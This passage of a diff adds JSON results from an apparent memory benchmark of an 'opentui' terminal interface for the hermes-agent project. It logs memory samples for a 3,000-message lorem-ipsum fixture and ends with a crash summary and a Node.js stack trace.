"t_ms": 10275,
|
||||
"msgs": 2901,
|
||||
"events": 10398,
|
||||
"pty_bytes": 85844,
|
||||
"pty_writes": 42,
|
||||
"rss_kb": 898960,
|
||||
"pss_kb": 855967,
|
||||
"private_dirty_kb": 838456,
|
||||
"vmhwm_kb": 899064,
|
||||
"utime_ticks": 988,
|
||||
"stime_ticks": 45,
|
||||
"cg_current": 898830336,
|
||||
"cg_peak": 898830336,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 10281,
|
||||
"msgs": 3000,
|
||||
"events": 10759,
|
||||
"pty_bytes": 85844,
|
||||
"pty_writes": 42,
|
||||
"rss_kb": 899388,
|
||||
"pss_kb": 856395,
|
||||
"private_dirty_kb": 838884,
|
||||
"vmhwm_kb": 899412,
|
||||
"utime_ticks": 988,
|
||||
"stime_ticks": 45,
|
||||
"cg_current": 899354624,
|
||||
"cg_peak": 899354624,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "done",
|
||||
"t_ms": 10287,
|
||||
"msgs": 3000,
|
||||
"events": 10759,
|
||||
"pty_bytes": 85844,
|
||||
"pty_writes": 42,
|
||||
"rss_kb": 899652,
|
||||
"pss_kb": 856659,
|
||||
"private_dirty_kb": 839148,
|
||||
"vmhwm_kb": 899988,
|
||||
"utime_ticks": 988,
|
||||
"stime_ticks": 45,
|
||||
"cg_current": 899878912,
|
||||
"cg_peak": 899878912,
|
||||
"cg_oom_kill": 0
|
||||
}
|
||||
],
|
||||
"events": [
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "session.create",
|
||||
"t_ms": 177
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "startup.catalog",
|
||||
"t_ms": 177
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "model.options",
|
||||
"t_ms": 177
|
||||
}
|
||||
],
|
||||
"summary": {
|
||||
"result": "crashed_after_stream",
|
||||
"cap_hit": false,
|
||||
"cap_hit_basis": null,
|
||||
"at_messages": null,
|
||||
"exit": {
|
||||
"exitCode": 7,
|
||||
"signal": 0,
|
||||
"t": 10362
|
||||
},
|
||||
"stream_done": true,
|
||||
"msgs_streamed": 3000,
|
||||
"events_streamed": 10759,
|
||||
"pty_bytes_total": 87107,
|
||||
"pty_data_callbacks": 43,
|
||||
"first_byte_ms": 141,
|
||||
"session_create_ms": 177,
|
||||
"stream_start_ms": 1692,
|
||||
"vmhwm_kb": 899988,
|
||||
"cg_peak": 899878912,
|
||||
"drain_max_loop_lag_ms": 18,
|
||||
"drain_lag_violations": 2,
|
||||
"drain_ok": false,
|
||||
"digest": null
|
||||
},
|
||||
"pty_tail": "urn x}⧉ copy⚕Minim elit mollit pariatur aute quis eiusmod lorem occaecat reprehenderit exercitation incididunt dolor proident. Officia fugiat consequat minim elit mollit. Aliquip aliqua consectetur officia fugiat consequat minim. - Lorem occaecat reprehenderit exercitation incididunt.- Velit laboris magna amet culpa cillum commodo.- Enim adipiscing deserunt nulla.Duis veniam sed anim excepteur irure nostrud tempor ipsum cupidatat voluptate ullamco labore. Adipiscing deserunt nulla duis veniam sed anim excepteur irure nostrud tempor ipsum cupidatat voluptate.◦edit_file Minim elit mollit pariatur. · 2.9s (7 lines)⚡grep Lorem occaecat reprehendet exercitation. · 0s 7⧉ copy ⚕◐Thought: Irure nostrud tempor ⧉ copy ⚕ ⚕ ◐ Thought: Irure nostrud tempor - - - const x3 = 26function f1() { return x}⧉ copy⚕Officia fugiat consequat minim elit mollit pariatur aute quis eiusmod lorem. Aliquip aliqua consectetur officia fugiat consequat minim elit mollit pariatur aute quis. Sit sunt esse aliquip aliqua consectetur officia fugiat consequat minim elit mollit pariatur.- Aute quis eiusmod lorem occaecat.- Incididunt dolor proident velit laboris magna amet.- Culpa cillum commodo enim.Adipiscing deserunt nulla duis veniam sed anim excepteur irure nostrud. Cillum commodo enim adipiscing deserunt nulla duis veniam sed anim excepteur.⚡edit_file Officia fugiat consequat minim. · 0s ⧉ copy⚕ ⧉ copy ● web_search Proident velit laboris magna. · 2.5s (18 lines) ◆ write_file Commodo enim adipiscing deserunt. · 2.6s (7 lines) $ terminal Sed anim excepteur irure. · 2.7s (2 lines)◇read_file Cupidatat voluptate ullamco labore. · 2.8s (18 lines)◦edit_file Aliquip aliqua consectetur officia. · 2.9s (7 lines) ⧉ copy ⚕▍ 8 return x} ⧉ copy●web_search Proident velit laboris magna. · 2.5s (18 lines)◆write_file Commodo enim adipiscing deserunt. · 2.6s (7 lines)$terminal Sed anim excepteur irure. · 2.7s (2 lines)◇read_file Cupidatat voluptate ullamco labore. · 2.8s (18 lines)◦edit_file Aliquip aliqua consectetur officia. · 2.9s (7 lines) ⧉ copy ⚕ ⧉ copy ⚕ ◦edit_file Sit sunt esse aliquip. · 0.9s (7 lines)◦grep Fugiat consequat minim elit. · 1.0s (2 lines)●web_search Quis eiusmod lorem occaecat. · 1.1s (18 lines)◆write_file Dolor proident velit laboris. · 1.2s (7 lines)⚡terminal Cillum commodo enim adipiscing. · 0s- const x5 = 47function f2() { return x}Sit sunt esse aliquip aliqua consectetur officia fugiat consequat minim elit mollit pariatur aute. Voluptate ullamco labore sit sunt esse. Tempor ipsum cupidatat voluptate ullamco labore sit.- Fugiat consequat minim elit mollit.- Quis eiusmod lorem occaecat reprehenderit exercitation incididunt.- Dolor proident velit laboris.Magna amet culpa cillum commodo enim adipiscing deserunt nulla duis veniam sed anim. Proident velit laboris magna amet culpa cillum commodo enim adipiscing deserunt nulla duis veniam.$ terminal1.3s (2 lines)10s │ …/lively-thrush/hermes-agentfile:///home/daimon/github/worktrees/hermes-agent/lively-thrush/hermes-agent/ui-opentui/node_modules/@opentui/core/index-59t85rvq.js:14915\n throw new Error(`Failed to create optimized buffer: ${width}x${height}`);\n ^\nError: Failed to create optimized buffer: 120x12\n at FFIRenderLib.createOptimizedBuffer (file:///home/daimon/github/worktrees/hermes-agent/lively-thrush/hermes-agent/ui-opentui/node_modules/@opentui/core/index-59t85rvq.js:14915:13)\n at OptimizedBuffer.create (file:///home/daimon/github/worktrees/hermes-agent/lively-thrush/hermes-agent/ui-opentui/node_modules/@opentui/core/index-59t85rvq.js:11918:24)\n at TerminalConsole.show (file:///home/daimon/github/worktrees/hermes-agent/lively-thrush/hermes-agent/ui-opentui/node_modules/@opentui/core/index-59t85rvq.js:21058:44)\n at CliRenderer.<anonymous> (file:///home/daimon/github/worktrees/hermes-agent/lively-thrush/hermes-agent/ui-opentui/node_modules/@opentui/core/index-59t85rvq.js:23222:20)\n at process.emit (node:events:509:20)\n at process._fatalException (node:internal/process/execution:190:32)\nNode.js v26.3.0"
|
||||
}
|
||||
@@ -0,0 +1,799 @@
|
||||
{
|
||||
"meta": {
|
||||
"cell": "mem3000",
|
||||
"ui": "opentui",
|
||||
"config": "otui-uncapped",
|
||||
"mode": "mem",
|
||||
"rep": 0,
|
||||
"run_id": "mq8jwty0-1hks",
|
||||
"utc": "2026-06-10T20:58:44.760Z",
|
||||
"sha": "50e34713b",
|
||||
"node": "/home/daimon/.local/share/fnm/node-versions/v26.3.0/installation/bin/node",
|
||||
"node_version": "v26.3.0",
|
||||
"pty": {
|
||||
"cols": 120,
|
||||
"rows": 40,
|
||||
"term": "xterm-256color"
|
||||
},
|
||||
"heap_mb": 8192,
|
||||
"memory_max": "2G",
|
||||
"container_cap": false,
|
||||
"container_memory": null,
|
||||
"opentui_cap": 100000,
|
||||
"fixture": {
|
||||
"path": "/home/daimon/github/worktrees/hermes-agent/lively-thrush/hermes-agent/bench/.cache/fixture-3000.ndjson",
|
||||
"msgs": 3000,
|
||||
"sha256": "0df05a04a611dda68aa07865f21c45b08edc78e0a71d4c8cb2b674729778d96d"
|
||||
},
|
||||
"sample_every": 100,
|
||||
"mode_params": {},
|
||||
"ui_pid": 2367592,
|
||||
"gw_pid": 2367601,
|
||||
"cgroup": "/sys/fs/cgroup/user.slice/user-1001.slice/user@1001.service/app.slice/hermes-bench-mq8jwty0-1hks.scope",
|
||||
"load_avg_at_start": [
|
||||
0.71,
|
||||
0.44,
|
||||
0.42
|
||||
],
|
||||
"instrumented": false
|
||||
},
|
||||
"samples": [
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 51,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 0,
|
||||
"pty_writes": 0,
|
||||
"rss_kb": 57692,
|
||||
"pss_kb": 31342,
|
||||
"private_dirty_kb": 20212,
|
||||
"vmhwm_kb": 57964,
|
||||
"utime_ticks": 2,
|
||||
"stime_ticks": 1,
|
||||
"cg_current": 22855680,
|
||||
"cg_peak": 22855680,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 1056,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 28911,
|
||||
"pty_writes": 12,
|
||||
"rss_kb": 104624,
|
||||
"pss_kb": 62753,
|
||||
"private_dirty_kb": 47868,
|
||||
"vmhwm_kb": 107084,
|
||||
"utime_ticks": 17,
|
||||
"stime_ticks": 3,
|
||||
"cg_current": 61587456,
|
||||
"cg_peak": 65724416,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 1709,
|
||||
"msgs": 100,
|
||||
"events": 355,
|
||||
"pty_bytes": 31413,
|
||||
"pty_writes": 14,
|
||||
"rss_kb": 114272,
|
||||
"pss_kb": 63664,
|
||||
"private_dirty_kb": 57388,
|
||||
"vmhwm_kb": 114436,
|
||||
"utime_ticks": 21,
|
||||
"stime_ticks": 3,
|
||||
"cg_current": 80728064,
|
||||
"cg_peak": 81027072,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 1711,
|
||||
"msgs": 200,
|
||||
"events": 738,
|
||||
"pty_bytes": 31413,
|
||||
"pty_writes": 14,
|
||||
"rss_kb": 114436,
|
||||
"pss_kb": 63828,
|
||||
"private_dirty_kb": 57552,
|
||||
"vmhwm_kb": 114444,
|
||||
"utime_ticks": 21,
|
||||
"stime_ticks": 3,
|
||||
"cg_current": 81117184,
|
||||
"cg_peak": 81117184,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 1712,
|
||||
"msgs": 300,
|
||||
"events": 1051,
|
||||
"pty_bytes": 31413,
|
||||
"pty_writes": 14,
|
||||
"rss_kb": 114536,
|
||||
"pss_kb": 63928,
|
||||
"private_dirty_kb": 57652,
|
||||
"vmhwm_kb": 114536,
|
||||
"utime_ticks": 21,
|
||||
"stime_ticks": 3,
|
||||
"cg_current": 80982016,
|
||||
"cg_peak": 81117184,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 1713,
|
||||
"msgs": 400,
|
||||
"events": 1432,
|
||||
"pty_bytes": 31413,
|
||||
"pty_writes": 14,
|
||||
"rss_kb": 114748,
|
||||
"pss_kb": 64140,
|
||||
"private_dirty_kb": 57864,
|
||||
"vmhwm_kb": 114888,
|
||||
"utime_ticks": 21,
|
||||
"stime_ticks": 3,
|
||||
"cg_current": 81768448,
|
||||
"cg_peak": 82030592,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 2069,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 31413,
|
||||
"pty_writes": 14,
|
||||
"rss_kb": 218304,
|
||||
"pss_kb": 165381,
|
||||
"private_dirty_kb": 158348,
|
||||
"vmhwm_kb": 218320,
|
||||
"utime_ticks": 74,
|
||||
"stime_ticks": 7,
|
||||
"cg_current": 186974208,
|
||||
"cg_peak": 187183104,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 2274,
|
||||
"msgs": 501,
|
||||
"events": 1792,
|
||||
"pty_bytes": 31890,
|
||||
"pty_writes": 15,
|
||||
"rss_kb": 241724,
|
||||
"pss_kb": 188614,
|
||||
"private_dirty_kb": 181708,
|
||||
"vmhwm_kb": 241724,
|
||||
"utime_ticks": 98,
|
||||
"stime_ticks": 8,
|
||||
"cg_current": 211410944,
|
||||
"cg_peak": 212041728,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 2551,
|
||||
"msgs": 601,
|
||||
"events": 2154,
|
||||
"pty_bytes": 35126,
|
||||
"pty_writes": 17,
|
||||
"rss_kb": 286064,
|
||||
"pss_kb": 242065,
|
||||
"private_dirty_kb": 225732,
|
||||
"vmhwm_kb": 286084,
|
||||
"utime_ticks": 135,
|
||||
"stime_ticks": 10,
|
||||
"cg_current": 258056192,
|
||||
"cg_peak": 258289664,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 2604,
|
||||
"msgs": 701,
|
||||
"events": 2496,
|
||||
"pty_bytes": 36863,
|
||||
"pty_writes": 18,
|
||||
"rss_kb": 321584,
|
||||
"pss_kb": 278638,
|
||||
"private_dirty_kb": 261128,
|
||||
"vmhwm_kb": 321740,
|
||||
"utime_ticks": 151,
|
||||
"stime_ticks": 12,
|
||||
"cg_current": 295292928,
|
||||
"cg_peak": 295944192,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 2826,
|
||||
"msgs": 801,
|
||||
"events": 2857,
|
||||
"pty_bytes": 39692,
|
||||
"pty_writes": 20,
|
||||
"rss_kb": 338924,
|
||||
"pss_kb": 295973,
|
||||
"private_dirty_kb": 278468,
|
||||
"vmhwm_kb": 344240,
|
||||
"utime_ticks": 187,
|
||||
"stime_ticks": 16,
|
||||
"cg_current": 313622528,
|
||||
"cg_peak": 319459328,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 2828,
|
||||
"msgs": 901,
|
||||
"events": 3245,
|
||||
"pty_bytes": 39692,
|
||||
"pty_writes": 20,
|
||||
"rss_kb": 338976,
|
||||
"pss_kb": 296025,
|
||||
"private_dirty_kb": 278520,
|
||||
"vmhwm_kb": 344240,
|
||||
"utime_ticks": 187,
|
||||
"stime_ticks": 16,
|
||||
"cg_current": 313614336,
|
||||
"cg_peak": 319459328,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 2830,
|
||||
"msgs": 1001,
|
||||
"events": 3588,
|
||||
"pty_bytes": 39692,
|
||||
"pty_writes": 20,
|
||||
"rss_kb": 339104,
|
||||
"pss_kb": 296153,
|
||||
"private_dirty_kb": 278648,
|
||||
"vmhwm_kb": 344240,
|
||||
"utime_ticks": 187,
|
||||
"stime_ticks": 16,
|
||||
"cg_current": 313876480,
|
||||
"cg_peak": 319459328,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 2832,
|
||||
"msgs": 1101,
|
||||
"events": 3928,
|
||||
"pty_bytes": 39692,
|
||||
"pty_writes": 20,
|
||||
"rss_kb": 339404,
|
||||
"pss_kb": 296453,
|
||||
"private_dirty_kb": 278948,
|
||||
"vmhwm_kb": 344240,
|
||||
"utime_ticks": 187,
|
||||
"stime_ticks": 16,
|
||||
"cg_current": 314130432,
|
||||
"cg_peak": 319459328,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 2834,
|
||||
"msgs": 1201,
|
||||
"events": 4298,
|
||||
"pty_bytes": 39692,
|
||||
"pty_writes": 20,
|
||||
"rss_kb": 339588,
|
||||
"pss_kb": 296637,
|
||||
"private_dirty_kb": 279132,
|
||||
"vmhwm_kb": 344240,
|
||||
"utime_ticks": 187,
|
||||
"stime_ticks": 16,
|
||||
"cg_current": 314392576,
|
||||
"cg_peak": 319459328,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 2835,
|
||||
"msgs": 1300,
|
||||
"events": 4659,
|
||||
"pty_bytes": 39692,
|
||||
"pty_writes": 20,
|
||||
"rss_kb": 339780,
|
||||
"pss_kb": 296829,
|
||||
"private_dirty_kb": 279324,
|
||||
"vmhwm_kb": 344240,
|
||||
"utime_ticks": 187,
|
||||
"stime_ticks": 16,
|
||||
"cg_current": 314654720,
|
||||
"cg_peak": 319459328,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 3078,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 39692,
|
||||
"pty_writes": 20,
|
||||
"rss_kb": 425380,
|
||||
"pss_kb": 381530,
|
||||
"private_dirty_kb": 364924,
|
||||
"vmhwm_kb": 425492,
|
||||
"utime_ticks": 219,
|
||||
"stime_ticks": 19,
|
||||
"cg_current": 404750336,
|
||||
"cg_peak": 404750336,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 3455,
|
||||
"msgs": 1400,
|
||||
"events": 5011,
|
||||
"pty_bytes": 41169,
|
||||
"pty_writes": 21,
|
||||
"rss_kb": 487696,
|
||||
"pss_kb": 443846,
|
||||
"private_dirty_kb": 427240,
|
||||
"vmhwm_kb": 487712,
|
||||
"utime_ticks": 278,
|
||||
"stime_ticks": 22,
|
||||
"cg_current": 469049344,
|
||||
"cg_peak": 469057536,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 3757,
|
||||
"msgs": 1500,
|
||||
"events": 5384,
|
||||
"pty_bytes": 41699,
|
||||
"pty_writes": 22,
|
||||
"rss_kb": 519032,
|
||||
"pss_kb": 475182,
|
||||
"private_dirty_kb": 458576,
|
||||
"vmhwm_kb": 519036,
|
||||
"utime_ticks": 310,
|
||||
"stime_ticks": 23,
|
||||
"cg_current": 501985280,
|
||||
"cg_peak": 501985280,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 4083,
|
||||
"msgs": 1600,
|
||||
"events": 5730,
|
||||
"pty_bytes": 43564,
|
||||
"pty_writes": 24,
|
||||
"rss_kb": 546612,
|
||||
"pss_kb": 502762,
|
||||
"private_dirty_kb": 486156,
|
||||
"vmhwm_kb": 546680,
|
||||
"utime_ticks": 345,
|
||||
"stime_ticks": 25,
|
||||
"cg_current": 531128320,
|
||||
"cg_peak": 531128320,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 4087,
|
||||
"msgs": 1700,
|
||||
"events": 6100,
|
||||
"pty_bytes": 43564,
|
||||
"pty_writes": 24,
|
||||
"rss_kb": 546828,
|
||||
"pss_kb": 502978,
|
||||
"private_dirty_kb": 486372,
|
||||
"vmhwm_kb": 546896,
|
||||
"utime_ticks": 345,
|
||||
"stime_ticks": 25,
|
||||
"cg_current": 531390464,
|
||||
"cg_peak": 531390464,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 4091,
|
||||
"msgs": 1800,
|
||||
"events": 6455,
|
||||
"pty_bytes": 43564,
|
||||
"pty_writes": 24,
|
||||
"rss_kb": 546932,
|
||||
"pss_kb": 503082,
|
||||
"private_dirty_kb": 486476,
|
||||
"vmhwm_kb": 547220,
|
||||
"utime_ticks": 345,
|
||||
"stime_ticks": 25,
|
||||
"cg_current": 531914752,
|
||||
"cg_peak": 531914752,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 4094,
|
||||
"msgs": 1900,
|
||||
"events": 6838,
|
||||
"pty_bytes": 43564,
|
||||
"pty_writes": 24,
|
||||
"rss_kb": 547332,
|
||||
"pss_kb": 503482,
|
||||
"private_dirty_kb": 486876,
|
||||
"vmhwm_kb": 547456,
|
||||
"utime_ticks": 345,
|
||||
"stime_ticks": 25,
|
||||
"cg_current": 532176896,
|
||||
"cg_peak": 532176896,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 4097,
|
||||
"msgs": 2000,
|
||||
"events": 7151,
|
||||
"pty_bytes": 43564,
|
||||
"pty_writes": 24,
|
||||
"rss_kb": 547764,
|
||||
"pss_kb": 503914,
|
||||
"private_dirty_kb": 487308,
|
||||
"vmhwm_kb": 547908,
|
||||
"utime_ticks": 346,
|
||||
"stime_ticks": 25,
|
||||
"cg_current": 532439040,
|
||||
"cg_peak": 532439040,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 4100,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 43564,
|
||||
"pty_writes": 24,
|
||||
"rss_kb": 548212,
|
||||
"pss_kb": 504362,
|
||||
"private_dirty_kb": 487756,
|
||||
"vmhwm_kb": 548288,
|
||||
"utime_ticks": 346,
|
||||
"stime_ticks": 25,
|
||||
"cg_current": 532963328,
|
||||
"cg_peak": 532963328,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 4411,
|
||||
"msgs": 2100,
|
||||
"events": 7532,
|
||||
"pty_bytes": 43564,
|
||||
"pty_writes": 24,
|
||||
"rss_kb": 658764,
|
||||
"pss_kb": 614914,
|
||||
"private_dirty_kb": 598308,
|
||||
"vmhwm_kb": 658832,
|
||||
"utime_ticks": 385,
|
||||
"stime_ticks": 31,
|
||||
"cg_current": 648835072,
|
||||
"cg_peak": 648835072,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 4791,
|
||||
"msgs": 2201,
|
||||
"events": 7892,
|
||||
"pty_bytes": 44965,
|
||||
"pty_writes": 25,
|
||||
"rss_kb": 692780,
|
||||
"pss_kb": 648930,
|
||||
"private_dirty_kb": 632324,
|
||||
"vmhwm_kb": 692908,
|
||||
"utime_ticks": 424,
|
||||
"stime_ticks": 32,
|
||||
"cg_current": 683880448,
|
||||
"cg_peak": 683880448,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 5114,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 44965,
|
||||
"pty_writes": 25,
|
||||
"rss_kb": 719796,
|
||||
"pss_kb": 675946,
|
||||
"private_dirty_kb": 659340,
|
||||
"vmhwm_kb": 719796,
|
||||
"utime_ticks": 456,
|
||||
"stime_ticks": 35,
|
||||
"cg_current": 711639040,
|
||||
"cg_peak": 711864320,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 5468,
|
||||
"msgs": 2301,
|
||||
"events": 8254,
|
||||
"pty_bytes": 47938,
|
||||
"pty_writes": 27,
|
||||
"rss_kb": 724840,
|
||||
"pss_kb": 680990,
|
||||
"private_dirty_kb": 664384,
|
||||
"vmhwm_kb": 725152,
|
||||
"utime_ticks": 494,
|
||||
"stime_ticks": 35,
|
||||
"cg_current": 717672448,
|
||||
"cg_peak": 717672448,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 6121,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 49397,
|
||||
"pty_writes": 28,
|
||||
"rss_kb": 753180,
|
||||
"pss_kb": 709330,
|
||||
"private_dirty_kb": 692724,
|
||||
"vmhwm_kb": 753180,
|
||||
"utime_ticks": 562,
|
||||
"stime_ticks": 38,
|
||||
"cg_current": 746872832,
|
||||
"cg_peak": 747012096,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 6222,
|
||||
"msgs": 2401,
|
||||
"events": 8596,
|
||||
"pty_bytes": 51085,
|
||||
"pty_writes": 29,
|
||||
"rss_kb": 756036,
|
||||
"pss_kb": 712186,
|
||||
"private_dirty_kb": 695580,
|
||||
"vmhwm_kb": 756092,
|
||||
"utime_ticks": 572,
|
||||
"stime_ticks": 38,
|
||||
"cg_current": 749625344,
|
||||
"cg_peak": 749625344,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 7002,
|
||||
"msgs": 2501,
|
||||
"events": 8957,
|
||||
"pty_bytes": 55291,
|
||||
"pty_writes": 31,
|
||||
"rss_kb": 786164,
|
||||
"pss_kb": 742314,
|
||||
"private_dirty_kb": 725708,
|
||||
"vmhwm_kb": 786172,
|
||||
"utime_ticks": 651,
|
||||
"stime_ticks": 40,
|
||||
"cg_current": 781586432,
|
||||
"cg_peak": 781586432,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 7127,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 55291,
|
||||
"pty_writes": 31,
|
||||
"rss_kb": 807644,
|
||||
"pss_kb": 763794,
|
||||
"private_dirty_kb": 747188,
|
||||
"vmhwm_kb": 807644,
|
||||
"utime_ticks": 664,
|
||||
"stime_ticks": 42,
|
||||
"cg_current": 803647488,
|
||||
"cg_peak": 803848192,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 7830,
|
||||
"msgs": 2601,
|
||||
"events": 9345,
|
||||
"pty_bytes": 58421,
|
||||
"pty_writes": 33,
|
||||
"rss_kb": 817624,
|
||||
"pss_kb": 773774,
|
||||
"private_dirty_kb": 757168,
|
||||
"vmhwm_kb": 817692,
|
||||
"utime_ticks": 735,
|
||||
"stime_ticks": 43,
|
||||
"cg_current": 814092288,
|
||||
"cg_peak": 814092288,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 8130,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 58421,
|
||||
"pty_writes": 33,
|
||||
"rss_kb": 842436,
|
||||
"pss_kb": 798586,
|
||||
"private_dirty_kb": 781980,
|
||||
"vmhwm_kb": 842436,
|
||||
"utime_ticks": 764,
|
||||
"stime_ticks": 45,
|
||||
"cg_current": 839323648,
|
||||
"cg_peak": 840339456,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 8409,
|
||||
"msgs": 2701,
|
||||
"events": 9688,
|
||||
"pty_bytes": 59910,
|
||||
"pty_writes": 34,
|
||||
"rss_kb": 844204,
|
||||
"pss_kb": 800354,
|
||||
"private_dirty_kb": 783748,
|
||||
"vmhwm_kb": 844204,
|
||||
"utime_ticks": 793,
|
||||
"stime_ticks": 45,
|
||||
"cg_current": 841596928,
|
||||
"cg_peak": 841596928,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 9134,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 61517,
|
||||
"pty_writes": 35,
|
||||
"rss_kb": 875368,
|
||||
"pss_kb": 831518,
|
||||
"private_dirty_kb": 814912,
|
||||
"vmhwm_kb": 875368,
|
||||
"utime_ticks": 866,
|
||||
"stime_ticks": 48,
|
||||
"cg_current": 874221568,
|
||||
"cg_peak": 874221568,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 9286,
|
||||
"msgs": 2801,
|
||||
"events": 10028,
|
||||
"pty_bytes": 63074,
|
||||
"pty_writes": 36,
|
||||
"rss_kb": 875868,
|
||||
"pss_kb": 832018,
|
||||
"private_dirty_kb": 815412,
|
||||
"vmhwm_kb": 875868,
|
||||
"utime_ticks": 882,
|
||||
"stime_ticks": 48,
|
||||
"cg_current": 874745856,
|
||||
"cg_peak": 874749952,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 10138,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 64846,
|
||||
"pty_writes": 37,
|
||||
"rss_kb": 906312,
|
||||
"pss_kb": 862462,
|
||||
"private_dirty_kb": 845856,
|
||||
"vmhwm_kb": 906312,
|
||||
"utime_ticks": 968,
|
||||
"stime_ticks": 51,
|
||||
"cg_current": 906104832,
|
||||
"cg_peak": 906543104,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 10191,
|
||||
"msgs": 2901,
|
||||
"events": 10398,
|
||||
"pty_bytes": 68029,
|
||||
"pty_writes": 39,
|
||||
"rss_kb": 908240,
|
||||
"pss_kb": 864390,
|
||||
"private_dirty_kb": 847784,
|
||||
"vmhwm_kb": 908264,
|
||||
"utime_ticks": 973,
|
||||
"stime_ticks": 51,
|
||||
"cg_current": 908509184,
|
||||
"cg_peak": 908607488,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 10198,
|
||||
"msgs": 3000,
|
||||
"events": 10759,
|
||||
"pty_bytes": 68029,
|
||||
"pty_writes": 39,
|
||||
"rss_kb": 908380,
|
||||
"pss_kb": 864530,
|
||||
"private_dirty_kb": 847924,
|
||||
"vmhwm_kb": 908432,
|
||||
